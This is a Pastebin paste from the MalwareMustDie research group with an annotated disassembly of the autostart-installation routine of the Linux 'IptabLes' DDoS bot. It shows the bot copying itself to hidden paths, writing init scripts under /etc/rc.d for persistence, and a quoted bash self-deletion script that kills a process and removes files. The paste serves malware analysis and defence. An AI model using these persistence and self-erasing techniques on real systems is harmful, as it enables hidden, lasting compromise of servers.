Advertisement
MalwareMustDie

Installation of the Autostart Scripts | China DDoSer

Jun 16th, 2014
2,262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;; Installation of the Autostart Scripts reversed | #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date
  2. ;; Mon Jun 16 14:09:52 JST 2014
  3.  
  4. // Installation of autostarts...
  5.  
  6. .text:0804CED0 public initsrv
  7. .text:0804CED0 initsrv proc near
  8. .text:0804CED0
  9. .text:0804CED0 var_228         = dword ptr -228h
  10. .text:0804CED0 var_224         = dword ptr -224h
  11. .text:0804CED0 var_220         = dword ptr -220h
  12. .text:0804CED0 var_21C         = dword ptr -21Ch
  13. .text:0804CED0 var_20C         = dword ptr -20Ch
  14. .text:0804CED0 var_10C         = dword ptr -10Ch
  15. .text:0804CED0 var_108         = dword ptr -108h
  16. .text:0804CED0 var_104         = dword ptr -104h
  17. .text:0804CED0 var_100         = dword ptr -100h
  18. .text:0804CED0 var_FC          = dword ptr -0FCh
  19. .text:0804CED0 var_F8          = dword ptr -0F8h
  20. .text:0804CED0 var_F4          = word ptr -0F4h
  21. .text:0804CED0
  22. .text:0804CED0                 push    ebp
  23. .text:0804CED1                 mov     ebp, esp
  24. .text:0804CED3                 push    edi
  25. .text:0804CED4                 push    esi
  26. .text:0804CED5                 push    ebx
  27. .text:0804CED6                 sub     esp, 21Ch       ; pathname
  28. .text:0804CEDC                 lea     esi, [ebp+var_10C]
  29. .text:0804CEE2                 lea     edi, [ebp+var_20C]
  30. .text:0804CEE8                 mov     [esp+228h+var_220], 100h
  31. .text:0804CEF0                 mov     [esp+228h+var_224], 0
  32. .text:0804CEF8                 mov     [esp+228h+var_228], esi
  33. .text:0804CEFB                 call    memset
  34. .text:0804CF00                 mov     [esp+228h+var_220], 100h
  35. .text:0804CF08                 mov     [esp+228h+var_224], 0
  36. .text:0804CF10                 mov     [esp+228h+var_228], edi
  37. .text:0804CF13                 call    memset
  38. .text:0804CF18                 mov     dword ptr ds:g_mainsrvinfo+1DCh, offset xmfilea ; offset contains "/boot/.IptabLes"
  39. .text:0804CF22                 mov     [esp+228h+var_220], offset aDelallmykkk ; <=-contains "/delallmykkk"
  40. .text:0804CF2A                 mov     [esp+228h+var_224], 4FCh
  41. .text:0804CF32                 mov     [esp+228h+var_228], offset delallfile
  42. .text:0804CF39                 call    WriteToFile
  43. .text:0804CF3E                 sub     eax, 1
  44. .text:0804CF41                 jz      loc_804D37D
  45. .text:0804CF47
  46. .text:0804CF47 loc_804CF47:
  47. .text:0804CF47                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  48. .text:0804CF4C                 mov     [esp+228h+var_220], 81333C4h
  49. .text:0804CF54                 mov     [esp+228h+var_224], offset aCpSSDevNull ; DB contains "cp %s %s>/dev/null"
  50. .text:0804CF5C                 mov     [esp+228h+var_228], esi
  51. .text:0804CF5F                 mov     [esp+228h+var_21C], eax
  52. .text:0804CF63                 call    sprintf
  53. .text:0804CF68                 mov     [esp+228h+var_228], esi
  54. .text:0804CF6B                 call    system
  55. .text:0804CF70                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  56. .text:0804CF75                 mov     [esp+228h+var_228], eax
  57. .text:0804CF78                 call    Get_File_Size
  58. .text:0804CF7D                 mov     [esp+228h+var_228], 81333C4h
  59. .text:0804CF84                 mov     ebx, eax
  60. .text:0804CF86                 call    Get_File_Size
  61. .text:0804CF8B                 cmp     ebx, eax
  62. .text:0804CF8D                 jz      loc_804D2C0
  63. .text:0804CF93                 mov     dword ptr ds:g_mainsrvinfo+1DCh, offset xmfileb ; <--"/usr/.IptabLes"
  64. .text:0804CF9D                 mov     [esp+228h+var_220], 100h
  65. .text:0804CFA5                 mov     [esp+228h+var_224], 0
  66. .text:0804CFAD                 mov     [esp+228h+var_228], esi
  67. .text:0804CFB0                 call    memset
  68. .text:0804CFB5                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  69. .text:0804CFBA                 mov     [esp+228h+var_220], 81333C4h
  70. .text:0804CFC2                 mov     [esp+228h+var_224], offset aCpSSDevNull ; <--"cp %s %s>/dev/null"
  71. .text:0804CFCA                 mov     [esp+228h+var_228], esi
  72. .text:0804CFCD                 mov     [esp+228h+var_21C], eax
  73. .text:0804CFD1                 call    sprintf
  74. .text:0804CFD6                 mov     [esp+228h+var_228], esi
  75. .text:0804CFD9                 call    system
  76. .text:0804CFDE                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  77. .text:0804CFE3                 mov     [esp+228h+var_228], eax
  78. .text:0804CFE6                 call    Get_File_Size
  79. .text:0804CFEB                 mov     [esp+228h+var_228], 81333C4h
  80. .text:0804CFF2                 mov     ebx, eax
  81. .text:0804CFF4                 call    Get_File_Size
  82. .text:0804CFF9                 cmp     ebx, eax
  83. .text:0804CFFB                 jz      loc_804D325
  84. .text:0804D001                 mov     dword ptr ds:g_mainsrvinfo+1DCh, offset xmfilec ; <--- "/.IptabLes"
  85. .text:0804D00B                 mov     [esp+228h+var_220], 100h
  86. .text:0804D013                 mov     [esp+228h+var_224], 0
  87. .text:0804D01B                 mov     [esp+228h+var_228], esi
  88. .text:0804D01E                 call    memset
  89. .text:0804D023                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  90. .text:0804D028                 mov     [esp+228h+var_220], 81333C4h
  91. .text:0804D030                 mov     [esp+228h+var_224], offset aCpSSDevNull ; <---"cp %s %s>/dev/null"
  92. .text:0804D038                 mov     [esp+228h+var_228], esi
  93. .text:0804D03B                 mov     [esp+228h+var_21C], eax
  94. .text:0804D03F                 call    sprintf
  95. .text:0804D044                 mov     [esp+228h+var_228], esi
  96. .text:0804D047                 call    system
  97. .text:0804D04C                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  98. .text:0804D051                 mov     [esp+228h+var_224], offset xmfilea ; <---"/boot/.IptabLes"
  99. .text:0804D059                 mov     [esp+228h+var_228], eax
  100. .text:0804D05C                 call    CreatPeLink
  101. .text:0804D061                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  102. .text:0804D066                 mov     [esp+228h+var_224], offset xmfileb ; <---"/usr/.IptabLes"
  103. .text:0804D06E                 mov     [esp+228h+var_228], eax
  104. .text:0804D071                 call    CreatPeLink
  105. .text:0804D076
  106. .text:0804D076 loc_804D076:      
  107. .text:0804D076                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  108. .text:0804D07B                 mov     [esp+228h+var_224], 309h
  109. .text:0804D083                 mov     [esp+228h+var_228], eax
  110. .text:0804D086                 call    chmod
  111. .text:0804D08B                 mov     [esp+228h+var_220], 100h
  112. .text:0804D093                 mov     [esp+228h+var_224], 0
  113. .text:0804D09B                 mov     [esp+228h+var_228], esi
  114. .text:0804D09E                 call    memset
  115. .text:0804D0A3                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  116. .text:0804D0A8                 mov     [esp+228h+var_224], offset srvfile ; <--- "#!/bin/sh\n%s\nexit 0\n"
  117. .text:0804D0B0                 mov     [esp+228h+var_228], edi
  118. .text:0804D0B3                 mov     [esp+228h+var_220], eax
  119. .text:0804D0B7                 call    sprintf
  120. .text:0804D0BC                 mov     ecx, edi
  121. .text:0804D0BE
  122. .text:0804D0BE loc_804D0BE:  : cross reff initserv()
  123. .text:0804D0BE                 mov     eax, [ecx]
  124. .text:0804D0C0                 add     ecx, 4
  125. .text:0804D0C3                 lea     edx, [eax-1010101h]
  126. .text:0804D0C9                 not     eax
  127. .text:0804D0CB                 and     edx, eax
  128. .text:0804D0CD                 and     edx, 80808080h
  129. .text:0804D0D3                 jz      short loc_804D0BE
  130. .text:0804D0D5                 test    edx, 8080h
  131. .text:0804D0DB                 jnz     short loc_804D0E3
  132. .text:0804D0DD                 shr     edx, 10h
  133. .text:0804D0E0                 add     ecx, 2
  134. .text:0804D0E3
  135. .text:0804D0E3 loc_804D0E3:  : cross reff initserv()
  136. .text:0804D0E3                 add     dl, dl
  137. .text:0804D0E5                 sbb     ecx, 3
  138. .text:0804D0E8                 sub     ecx, edi
  139. .text:0804D0EA                 mov     [esp+228h+var_224], ecx
  140. .text:0804D0EE                 mov     [esp+228h+var_220], offset aEtcRc_dInit_dI ; <---"/etc/rc.d/init.d/IptabLes"
  141. .text:0804D0F6                 mov     [esp+228h+var_228], edi
  142. .text:0804D0F9                 call    WriteToFile
  143. .text:0804D0FE                 mov     ecx, edi
  144. .text:0804D100                 sub     eax, 1
  145. .text:0804D103                 jz      loc_804D250
  146. .text:0804D109
  147. .text:0804D109 loc_804D109:  : cross reff initserv()
  148. .text:0804D109                 mov     eax, [ecx]
  149. .text:0804D10B                 add     ecx, 4
  150. .text:0804D10E                 lea     edx, [eax-1010101h]
  151. .text:0804D114                 not     eax
  152. .text:0804D116                 and     edx, eax
  153. .text:0804D118                 and     edx, 80808080h
  154. .text:0804D11E                 jz      short loc_804D109
  155. .text:0804D120                 test    edx, 8080h
  156. .text:0804D126                 jz      loc_804D230
  157. .text:0804D12C
  158. .text:0804D12C loc_804D12C:   : cross reff initserv()
  159. .text:0804D12C                 add     dl, dl
  160. .text:0804D12E                 sbb     ecx, 3
  161. .text:0804D131                 sub     ecx, edi
  162. .text:0804D133                 mov     [esp+228h+var_224], ecx
  163. .text:0804D137                 mov     [esp+228h+var_220], offset aEtcRc_dIptable ; <---"/etc/rc.d/IptabLes"
  164. .text:0804D13F                 mov     [esp+228h+var_228], edi
  165. .text:0804D142                 call    WriteToFile
  166. .text:0804D147                 mov     ecx, edi
  167. .text:0804D149                 sub     eax, 1
  168. .text:0804D14C                 jz      loc_804D2E0
  169. .text:0804D152
  170. .text:0804D152 loc_804D152:    : cross reff initserv()
  171. .text:0804D152                 mov     eax, [ecx]
  172. .text:0804D154                 add     ecx, 4
  173. .text:0804D157                 lea     edx, [eax-1010101h]
  174. .text:0804D15D                 not     eax
  175. .text:0804D15F                 and     edx, eax
  176. .text:0804D161                 and     edx, 80808080h
  177. .text:0804D167                 jz      short loc_804D152
  178. .text:0804D169                 test    edx, 8080h
  179. .text:0804D16F                 jz      loc_804D240
  180. .text:0804D175
  181. .text:0804D175 loc_804D175:  : cross reff initserv()
  182. .text:0804D175                 add     dl, dl
  183. .text:0804D177                 sbb     ecx, 3
  184. .text:0804D17A                 sub     ecx, edi
  185. .text:0804D17C                 mov     [esp+228h+var_224], ecx
  186. .text:0804D180                 mov     [esp+228h+var_220], offset aBootIptables ; <---"/boot/IptabLes"
  187. .text:0804D188                 mov     [esp+228h+var_228], edi
  188. .text:0804D18B                 call    WriteToFile
  189. .text:0804D190                 mov     ecx, edi
  190. .text:0804D192                 sub     eax, 1
  191. .text:0804D195                 jz      loc_804D34A
  192. .text:0804D19B
  193. .text:0804D19B loc_804D19B:  : cross reff initserv()
  194. .text:0804D19B                 mov     eax, [ecx]
  195. .text:0804D19D                 add     ecx, 4
  196. .text:0804D1A0                 lea     edx, [eax-1010101h]
  197. .text:0804D1A6                 not     eax
  198. .text:0804D1A8                 and     edx, eax
  199. .text:0804D1AA                 and     edx, 80808080h
  200. .text:0804D1B0                 jz      short loc_804D19B
  201. .text:0804D1B2                 test    edx, 8080h
  202. .text:0804D1B8                 jz      loc_804D33F
  203. .text:0804D1BE
  204. .text:0804D1BE loc_804D1BE:   : cross reff initserv()
  205. .text:0804D1BE                 add     dl, dl
  206. .text:0804D1C0                 sbb     ecx, 3
  207. .text:0804D1C3                 sub     ecx, edi
  208. .text:0804D1C5                 mov     [esp+228h+var_220], 80B38BBh
  209. .text:0804D1CD                 mov     [esp+228h+var_224], ecx
  210. .text:0804D1D1                 mov     [esp+228h+var_228], edi
  211. .text:0804D1D4                 call    WriteToFile
  212. .text:0804D1D9                 mov     [ebp+var_10C], 7470492Fh
  213. .text:0804D1E3                 mov     [ebp+var_108], 654C6261h
  214. .text:0804D1ED                 mov     word ptr [ebp+var_104], 73h
  215. .text:0804D1F6
  216. .text:0804D1F6 loc_804D1F6:  : cross reff initserv()
  217. .text:0804D1F6                 mov     [esp+228h+var_224], offset aEtcRc_dInit_dI ; <--"/etc/rc.d/init.d/IptabLes"
  218. .text:0804D1FE                 mov     [esp+228h+var_228], esi
  219. .text:0804D201                 call    CreatPeLink
  220. .text:0804D206                 mov     [esp+228h+var_224], offset aEtcRc_dIptable ; <--"/etc/rc.d/IptabLes"
  221. .text:0804D20E                 mov     [esp+228h+var_228], esi
  222. .text:0804D211                 call    CreatPeLink
  223. .text:0804D216
  224. .text:0804D216 loc_804D216:  : cross reff initserv()
  225. .text:0804D216                 mov     [esp+228h+var_228], esi
  226. .text:0804D219                 call    startallfile
  227. .text:0804D21E                 call    rundelmecmd
  228. .text:0804D223                 add     esp, 21Ch
  229. .text:0804D229                 xor     eax, eax
  230. .text:0804D22B                 pop     ebx
  231. .text:0804D22C                 pop     esi
  232. .text:0804D22D                 pop     edi
  233. .text:0804D22E                 pop     ebp
  234. .text:0804D22F                 retn
  235.    [...]
  236. .text:0804D250 loc_804D250: : cross reff initserv()
  237. .text:0804D250                 mov     [ebp+var_10C], 6374652Fh
  238. .text:0804D25A                 mov     [ebp+var_108], 2E63722Fh
  239. .text:0804D264                 mov     [ebp+var_104], 6E692F64h
  240. .text:0804D26E                 mov     [ebp+var_100], 642E7469h
  241. .text:0804D278                 mov     [ebp+var_FC], 7470492Fh
  242. .text:0804D282                 mov     [ebp+var_F8], 654C6261h
  243. .text:0804D28C                 mov     [ebp+var_F4], 73h
  244. .text:0804D295                 mov     [esp+228h+var_224], offset aEtcRc_dIptable ; <---"/etc/rc.d/IptabLes"
  245. .text:0804D29D
  246. .text:0804D29D loc_804D29D: : cross reff initserv()
  247. .text:0804D29D                 mov     [esp+228h+var_228], esi
  248. .text:0804D2A0                 call    CreatPeLink
  249. .text:0804D2A5                 mov     [esp+228h+var_224], offset aBootIptables ; <---"/boot/IptabLes"
  250. .text:0804D2AD                 mov     [esp+228h+var_228], esi
  251. .text:0804D2B0                 call    CreatPeLink
  252. .text:0804D2B5                 jmp     loc_804D216
  253. .text:0804D2C0
  254. .text:0804D2C0 loc_804D2C0: : cross reff initserv()
  255. .text:0804D2C0                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  256. .text:0804D2C5                 mov     [esp+228h+var_224], offset xmfileb ; <---"/usr/.IptabLes"
  257. .text:0804D2CD                 mov     [esp+228h+var_228], eax
  258. .text:0804D2D0                 call    CreatPeLink
  259. .text:0804D2D5                 jmp     loc_804D076
  260. .text:0804D2DA                 align 10h
  261. .text:0804D2E0
  262. .text:0804D2E0 loc_804D2E0:  : cross reff initserv()
  263. .text:0804D2E0                 mov     [ebp+var_10C], 6374652Fh
  264. .text:0804D2EA                 mov     [ebp+var_108], 2E63722Fh
  265. .text:0804D2F4                 mov     [ebp+var_104], 70492F64h
  266. .text:0804D2FE                 mov     [ebp+var_100], 4C626174h
  267. .text:0804D308                 mov     word ptr [ebp+var_FC], 7365h
  268. .text:0804D311                 mov     byte ptr [ebp+var_FC+2], 0
  269. .text:0804D318                 mov     [esp+228h+var_224], offset aEtcRc_dInit_dI ; <--"/etc/rc.d/init.d/IptabLes"
  270. .text:0804D320                 jmp     loc_804D29D
  271. .text:0804D325 loc_804D325: : cross reff initserv()
  272. .text:0804D325                 mov     eax, dword ptr ds:g_mainsrvinfo+1DCh
  273. .text:0804D32A                 mov     [esp+228h+var_224], offset xmfilea ; <--"/boot/.IptabLes"
  274. .text:0804D332                 mov     [esp+228h+var_228], eax
  275. .text:0804D335                 call    CreatPeLink
  276. .text:0804D33A                 jmp     loc_804D076
  277. .text:0804D33F
  278. .text:0804D33F loc_804D33F: : cross reff initserv()
  279. .text:0804D33F                 shr     edx, 10h
  280. .text:0804D342                 add     ecx, 2
  281. .text:0804D345                 jmp     loc_804D1BE
  282. .text:0804D34A
  283. .text:0804D34A loc_804D34A: : cross reff initserv()
  284. .text:0804D34A                 mov     [ebp+var_10C], 6F6F622Fh
  285. .text:0804D354                 mov     [ebp+var_108], 70492F74h
  286. .text:0804D35E                 mov     [ebp+var_104], 4C626174h
  287. .text:0804D368                 mov     word ptr [ebp+var_100], 7365h
  288. .text:0804D371                 mov     byte ptr [ebp+var_100+2], 0
  289. .text:0804D378                 jmp     loc_804D1F6
  290. .text:0804D37D loc_804D37D:   : cross reff initserv()
  291. .text:0804D37D                 mov     [esp+228h+var_228], offset aDelallmykkkDev ; <---"/delallmykkk>/dev/null"
  292. .text:0804D384                 call    system
  293. .text:0804D389                 jmp     loc_804CF47
  294. .text:0804D389 initsrv         endp
  295.  
  296. ;; this delmecmd used for self deletion called in the above function..
  297.  
  298. .rodata:080B3E40 delmecmd        db '#!/bin/bash',0Ah  
  299. .rodata:080B3E40                 db 'sleep 3',0Ah
  300. .rodata:080B3E40                 db 'kill %d',0Ah
  301. .rodata:080B3E40                 db 'sleep 1',0Ah
  302. .rodata:080B3E40                 db 'rm -f %s',0Ah
  303. .rodata:080B3E40                 db 'rm -rf "$0"',0Ah,0
  304. .rodata:080B3E7A                 public rundelme
  305. .rodata:080B3E7A rundelme        db 73h, 68h, 20h, 2Fh, 64h, 65h, 6Ch, 2 dup(78h), 2 dup(61h)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement